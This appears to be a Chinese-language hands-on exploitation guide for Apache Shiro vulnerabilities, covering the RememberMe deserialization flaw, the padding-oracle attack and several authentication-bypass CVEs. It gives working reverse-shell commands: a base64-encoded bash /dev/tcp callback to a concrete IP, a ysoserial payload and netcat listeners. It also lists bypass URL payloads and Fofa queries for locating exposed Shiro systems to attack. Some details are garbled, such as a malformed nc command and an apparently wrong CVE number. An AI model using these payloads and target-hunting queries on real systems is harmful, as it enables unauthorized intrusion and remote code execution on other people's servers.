Apache Shiro系列漏洞利用以及實戰總結
前言:
Apache Shiro是一個強大且易用的Java安全框架,執行身份驗證、授權、密碼和會話管理。使用Shiro的易於理解的API,可以快速、輕鬆地獲得任何應用程式,從最小的移動應用程式到最大的網路和企業應用程式。內建了可以連線大量安全資料來源(又名目錄)的Realm,如LDAP、關係資料庫(JDBC)、類似INI的文字配置資源以及屬性檔案等。
目錄
RememberMe RCE-550(CVE-2016-4437)
Padding Oracle AttackRCE-721(CVE-2019-12422)
Shiro搭配spring時身份驗證繞過漏洞分析(CVE-2020-1957)
Apache Shiro 628許可權繞過漏洞 (CVE-2020-2957)
Apache Shiro許可權繞過漏洞分析(CVE-2020-11989)
Apache Shiro 許可權繞過漏洞(CVE-2020-13933)
RememberMe RCE-550(CVE-2016-4437)
漏洞詳情:
Apache Shiro框架提供了記住我(RememberMe)的功能,關閉瀏覽器再次訪問時無需再登入即可訪問。shiro預設使用CookieRememberMeManager,對rememberMe的cookie做了加密處理,在CookieRememberMeManaer類中將cookie中rememberMe欄位內容先後進行序列化、AES加密、Base64編碼操作。伺服器端識別身份解密處理cookie的流程則是:
獲取rememberMe cookie->base64 解碼->AES解密(加密金鑰硬編碼)->反序列化(未作過濾處理)。但是AES加密的金鑰Key被硬編碼(金鑰初始就被定義好不能動態改變的)在程式碼裡,這就意味著每個人通過原始碼都能拿到AES加密的金鑰。因此,攻擊者可以構造一個惡意的物件,並且對其序列化、AES加密、base64編碼後,作為cookie的rememberMe欄位傳送。Shiro將rememberMe進行解密並且反序列化,最終就造成了反序列化的RCE漏洞。只要rememberMe的AES加密金鑰洩露,無論shiro是什麼版本都可能會導致該漏洞的產生.硬編碼是將資料直接嵌入到程式或其他可執行物件的原始碼中。如果在返回包的 Set-Cookie
漏洞影響:
Apache Shiro <= 1.2.4
漏洞利用:
- 訪問存在漏洞的網站,勾選Remenberme,輸入賬號:admin密碼:123456
- 提交表單的同時進行抓包,返回包中存在Set-Cookie: rememberMe=deleteMe
3.將反彈shell命令放到 http://www.jackson-t.ca/runtime-exec-payloads.html 進行編碼轉換
4.nc監聽4444埠
nc-lvpp 4444
5.使用shiro_exp.py執行bash反彈shell命令
python2 .\exp.py -t 3 -u http://xx.xx.xx.xx:8080/login -p 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8yNy4xNTUuODcuODkvMzI0NjAgMD4mMQ==}|{base64,-d}|{bash,-i}'
反彈shell成功
遠端安全限制繞過漏洞(CVE-2016-6802)
漏洞詳情
shiro在路徑控制的時候,未能對傳入的url編碼進行decode解碼,導致攻擊者可以繞過過濾器,訪問被過濾的路徑。
漏洞影響
shrio <1.3.2
漏洞利用
訪問http://127.0.0.1/admin的時候,頁面返回403。因此可以確定admin路徑是屬於被過濾路徑。此時使用burp截斷,然後在訪問路徑的最後新增%2f,既可繞過shiro檢測。因為對於瀏覽器來說%2f會被自動編碼為/,但是burp截斷之後進入shiro,shiro未對其解碼,所以可以繞過。
Padding Oracle AttackRCE-721(CVE-2019-12422)
Apache Shiro存在高危程式碼執行漏洞。該漏洞是由於Apache Shirocookie中通過 AES-128-CBC 模式加密的rememberMe欄位存在問題,使用者可通過Padding Oracle 加密生成的攻擊程式碼來構造惡意的rememberMe欄位,並重新請求網站,進行反序列化攻擊,最終導致任意程式碼執行。
環境搭建
gitclone https://github.com/3ndz/Shiro-721.git
cdShiro-721/Docker
docker build -t shiro-721 .
docker run -p 8080:8080 -d shiro-721
Apache Shiro 1.2.5, 1.2.6, 1.3.0, 1.3.1, 1.3.2, 1.4.0-RC2, 1.4.0, 1.4.1
漏洞分析
總體來說就是shrio中的remenbermecookie欄位是採用AES-128-CBC加密的,因此容易受到oracle填充攻擊,攻擊者可以採用有效的cookie欄位來作為paddingoracleattack的字首,然後精心構造反序列化欄位進行命令執行。
漏洞利用
- 我們利用的前提是,需要能夠獲取正常的remenberMe的cookie,所以我們需要進入後臺,獲取正常的cookie:
先用ysoserial生成反序列化payload
github專案地址:https://github.com/frohoff/ysoserial
2、執行ysoserial.jar
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 bash -i >& /dev/tcp/xx.xx.xx.xx/4444 0>&1' > linux_shell.class
使用PaddingOracleAttack-1.0-SNAPSHOT.jar進行漏洞利用
github專案地址:https://github.com/longofo/PaddingOracleAttack-Shiro-721
3、執行PaddingOracleAttack.jar
java -jar PaddingOracleAttack-1.0-SNAPSHOT.jar http://xx.xx.xx.xx:8080/ CVLt9Uxe8Y+wYtBAg8OqeYytEKI04csCy916LpA8ndWPk0GHmv7iFB8nZIsnZmS00MLpOgHQD3+KRUlVQA09b7HFgios2tfD3ja6dKwoE4n4Y6h6tX2oZMwedIpmIBp59a6V8qqSk9chl1epO9up3ZJKrvQLs6CgRoA10Q4ZK0Jy00DQmFWWAvNI22tf4P68R/i2jOSSZ3+0KXme04jIWbYjcY7jVtD8RqehLDjHVxARWp8LVROQhHov2Gk2pEbXQs5MTF7sw1Nf6gcP6B1JizNWNvy23D0QVlGCqwu3qvwDaC2WUZm87DUr3fsOY6yOaDBk/Gpx1G6RJHN8LHJQ8zJVUfPJTX156B2ABq00xtCrXxjOWQpDVCrqjRoNHZ3qYVDITv7k/1Tmmwgayjv8F5nWLP+feY+oKIjt+eW5JVs0Ky2hbjDHin8KefdcuA+wK34NFyIbZi0abIjhKmqval5h/IjE6xMiGcA3Dsi/cuJGhHp0YbcWYuyxAfVCa15V 16 shell.class
4、得到破解結果後burpsuite重放替換cookie後的資料包,成功反彈shell
使用shiro_exp.py進行漏洞利用
5、執行shiro_exp.py
python2 shiro_exp.py http://xx.xx.xx.xx:8080/samples-web-1.4.1/home.jspCVLt9Uxe8Y+wYtBAg8OqeYytEKI04csCy916LpA8ndWPk0GHmv7iFB8nZIsnZmS00MLpOgHQD3+KRUlVQA09b7HFgios2tfD3ja6dKwoE4n4Y6h6tX2oZMwedIpmIBp59a6V8qqSk9chl1epO9up3ZJKrvQLs6CgRoA10Q4ZK0Jy00DQmFWWAvNI22tf4P68R/i2jOSSZ3+0KXme04jIWbYjcY7jVtD8RqehLDjHVxARWp8LVROQhHov2Gk2pEbXQs5MTF7sw1Nf6gcP6B1JizNWNvy23D0QVlGCqwu3qvwDaC2WUZm87DUr3fsOY6yOaDBk/Gpx1G6RJHN8LHJQ8zJVUfPJTX156B2ABq00xtCrXxjOWQpDVCrqjRoNHZ3qYVDITv7k/1Tmmwgayjv8F5nWLP+feY+oKIjt+eW5JVs0Ky2hbjDHin8KefdcuA+wK34NFyIbZi0abIjhKmqval5h/IjE6xMiGcA3Dsi/cuJGhHp0YbcWYuyxAfVCa15V shell.class
6、經過漫長的時間後得到cookie,然後替代剛抓包的cookie,重放即可
Shiro搭配spring時身份驗證繞過漏洞分析(CVE-2020-1957)
漏洞詳情
在Shiro中的URL路徑表示式pathPattern可以正確匹配/resource/menus,但不能正確匹配/resource/menus/,導致過濾鏈無法正確匹配,從而繞Shiro的防護機制。當Shiro 的Ant格式的pathPattern 中的的*萬用字元是不支援匹配路徑的,所以/hello/*不能成功匹配/hello/1/,也就不會觸發authc攔截器進行許可權攔截。從而成功繞過了Shiro攔截器,而後再進入到spring攔截器中,/hello/1/與/hello/1能獲取到相同的資源。
影響版本
Shiro <1.5.2
漏洞分析
https://www.freebuf.com/vuls/231909.html
Apache Shiro 628許可權繞過漏洞 (CVE-2020-2957)
漏洞詳情
CVE-2020-195身份認證繞過漏洞,可以用/hello/1/來繞過登入驗證,此次漏洞在之前CVE-2020-1957補丁的基礎上進行繞過,訪問/hello/1/會進入登入認證,但是通過構造payload:/fdsf;/../hello/1可以繞過登入認證。
影響版本
Shiro<=1.5.1
漏洞分析
https://www.rednn.com/safe/202003/30176.html
Apache Shiro許可權繞過漏洞分析(CVE-2020-11989)
漏洞詳情
如果直接訪問 /test/admin/page,會返回302跳轉要求登入,
訪問 /;/test/admin/page, 就能直接繞過Shiro許可權驗證,訪問到/admin路由中的資訊
漏洞版本
Shiro< 1.5.3
Sping框架只使用shiro鑑權
漏洞分析
Apache Shiro 許可權繞過漏洞(CVE-2020-13933)
漏洞詳情
Apache Shiro的CVE-2020-11989修補補丁依舊存在缺陷,由於shiro和spring在處理url中仍然存在差別,通過構造特殊的HTTP請求,可以再次繞過授權,訪問未授權的資訊。訪問/read/xx,被302重定向到了/login,而訪問/read/%3bxxx,能夠繞過認證。
漏洞版本
Shiro<1.6.0
漏洞分析
總結
目前來說Shiro危害比較大的就兩個RCE漏洞,721漏洞的爆破速度太慢了,且成功率比較低。550漏洞相對來說比較好利用,但是漏洞數量已經很少了,可能某些內網比較老的機子還存在著。
1、Shiro指紋識別
已知指紋:
若依CMS、TIMO後臺管理系統
Bp抓包:
在登陸介面勾線記住密碼,進行抓包,找remeberMe欄位。
2、資產收集
Fofa語法:
"shiro" &&"管理系統"
header="rememberme=deleteMe"、header="shiroCookie"